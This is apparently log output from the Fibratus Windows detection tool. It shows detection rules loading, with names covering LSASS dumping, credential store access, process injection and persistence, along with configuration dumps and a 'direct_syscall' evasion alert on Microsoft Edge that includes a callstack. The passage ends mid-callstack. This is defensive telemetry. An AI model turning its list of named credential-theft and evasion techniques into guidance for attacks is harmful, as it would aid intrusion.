source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:29:37+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T16:29:37+01:00 level=info msg=bootstrapping with pid 7696. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:29:37+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false port=>25 use-template=>true to=>[] content-type=>text/html] slack=>[ enabled=>false] systray=>[ sound=>true enabled=>false quiet-mode=>false] eventlog=>[ verbose=>true enabled=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ min-buffers=>16 enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] buffer-size=>512 enable-dns=>false enable-threadpool=>false enable-fileio=>true flush-interval=>1s enable-handle=>false enable-vamap=>true enable-thread=>true enable-image=>true max-buffers=>36 enable-registry=>true enable-mem=>false stack-enrichment=>true enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true level=>info max-age=>0 max-backups=>15 formatter=>text] + output ......................... [ http=>[ endpoints=>[] serializer=>json method=>POST tls-insecure-skip-verify=>false enabled=>false timeout=>5s enable-gzip=>false] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] amqp=>[ exchange=>fibratus exchange-type=>topic routing-key=>fibratus tls-insecure-skip-verify=>false url=>amqp://localhost:5672 vhost=>/ passive=>false timeout=>5s enabled=>false delivery-mode=>transient durable=>false] elasticsearch=>[ healthcheck-interval=>10s timeout=>5s trace-log=>false template-name=>fibratus sniff=>false bulk-workers=>1 gzip-compression=>false servers=>[http://127.0.0.1:9200] healthcheck=>true enabled=>false healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s]] + pe ............................. [ read-resources=>false excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false skip-files=>false skip-registry=>false scan-timeout=>10s skip-mmaps=>false fastscan=>true enabled=>false excluded-files=>[] excluded-procs=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]]] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:29:37+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:29:40+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:32:33+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_embedded_binary_execution_via_shortcut_file.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-11T16:32:33+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-12-11T16:32:33+01:00 level=info msg=bootstrapping with pid 13880. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-12-11T16:32:33+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html to=>[] enabled=>false use-template=>true port=>25] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-pe=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ enable-registry=>true enable-thread=>true enable-audit-api=>true enable-vamap=>true min-buffers=>16 buffer-size=>512 stack-enrichment=>true enable-mem=>false enable-net=>true enable-image=>true flush-interval=>1s enable-dns=>false enable-threadpool=>false enable-handle=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-fileio=>true max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-size=>100 log-stdout=>true level=>info max-backups=>15 formatter=>text max-age=>0] + output ......................... [ amqp=>[ delivery-mode=>transient passive=>false enabled=>false exchange-type=>topic routing-key=>fibratus timeout=>5s url=>amqp://localhost:5672 tls-insecure-skip-verify=>false exchange=>fibratus durable=>false vhost=>/] http=>[ enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false endpoints=>[] method=>POST timeout=>5s serializer=>json] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] elasticsearch=>[ enabled=>false gzip-compression=>false healthcheck=>true index-name=>fibratus sniff=>false bulk-workers=>1 template-name=>fibratus servers=>[http://127.0.0.1:9200] trace-log=>false healthcheck-interval=>10s timeout=>5s healthcheck-timeout=>5s flush-period=>1s] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-resources=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ skip-files=>false skip-registry=>false enabled=>false fastscan=>true excluded-procs=>[] skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s excluded-files=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-12-11T16:32:34+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:32:37+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-12-11T16:36:41+01:00 level=info msg=detected evasion "direct_syscall" on event [ + Seq: 2524725 + Pid: 12960 + Tid: 13096 + Type: LoadImage + CPU: 6 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-12-11 16:36:34.5477959 +0100 CET + Params: base_address➜ 7ff974a60000, checksum➜ 252432, default_address➜ 7ff974a60000, file_path➜ C:\Windows\System32\Windows.Networking.HostName.dll, image_size➜ 237568, is_dll➜ true, is_dotnet➜ false, is_driver➜ false, is_exec➜ false, pid➜ 12960, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: evasions: [direct_syscall] + + Pid: 12960 + Ppid: 1792 + Name: msedge.exe + Parent name: explorer.exe + Cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start + Parent cmdline: C:\WINDOWS\Explorer.EXE + Exe: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe + Cwd: C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start] + Session ID: 1 + Envs: map[] + + ] and callstack [0xfffff807f01e0534 C:\WINDOWS\system32\ntoskrnl.exe!PsIsThreadTerminating+0x1f4|0xfffff807f00d312d C:\WINDOWS\system32\ntoskrnl.exe!KeAddProcessorAffinityEx+0x74d|0xfffff807f011d312 C:\WINDOWS\system32\ntoskrnl.exe!FsRtlAreNamesEqual+0x5b2|0xfffff807f06f7f48 C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x848|0xfffff807f06f7bbb C:\WINDOWS\system32\ntoskrnl.exe!PsReferenceProcessFilePointer+0x4bb|0xfffff807f06da620 C:\WINDOWS\system32\ntoskrnl.exe!NtAllocateVirtualMemory+0x5570|0xfffff807f0690f2b C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0xc7b|0xfffff807f06904fd C:\WINDOWS\system32\ntoskrnl.exe!NtMapViewOfSection+0x24d|0xfffff807f04b5655 C:\WINDOWS\system32\ntoskrnl.exe!setjmpex+0x91d5|0x7ff8f8b95014 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge_elf.dll!??_7PwaHelperImpl@edge_pwahelper@@6B@|0x7ff8f89f0000 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge_elf.dll!IsExtensionPointDisableSet|0x7ff8f89f0413 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge_elf.dll!IsExtensionPointDisableSet|0x7ff988ca53db C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ff988ca4e1e C:\Windows\System32\ntdll.dll!RtlAppendUnicodeStringToString|0x7ff988ca84cc C:\Windows\System32\ntdll.dll!RtlInsertElementGenericTableFullAvl|0x7ff988ca3c3c C:\Windows\System32\ntdll.dll!RtlGetFullPathName_UstrEx|0x7ff988d141ba C:\Windows\System32\ntdll.dll!TpSetWaitEx|0x7ff988cb63a0 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ff988cb6996 C:\Windows\System32\ntdll.dll!LdrGetDllHandleEx|0x7ff988ced7d3 C:\Windows\System32\ntdll.dll!RtlGuardCheckLongJumpTarget|0x7ff988ceb94d C:\Windows\System32\ntdll.dll!LdrResolveDelayLoadedAPI|0x7ff965ee2232 C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetClassObject|0x7ff965ef1b55 C:\Windows\System32\Windows.Networking.Connectivity.dll!SetHostNameMediaStreamingMode|0x7ff965ee0b29 C:\Windows\System32\Windows.Networking.Connectivity.dll!DllGetClassObject|0x7ff8f31d8287 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!argon2_encodedlen|0x7ff8ead1ae09 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!RelaunchChromeBrowserWithNewCommandLineIfNeeded|0x7ff8e82eb520 C:\Program Files (x86)\Microsoft\Edge\Application\143.0.3650.75\msedge.dll!IsSandboxedProcess|0x7ff8e84e30c3 C:\Program Files 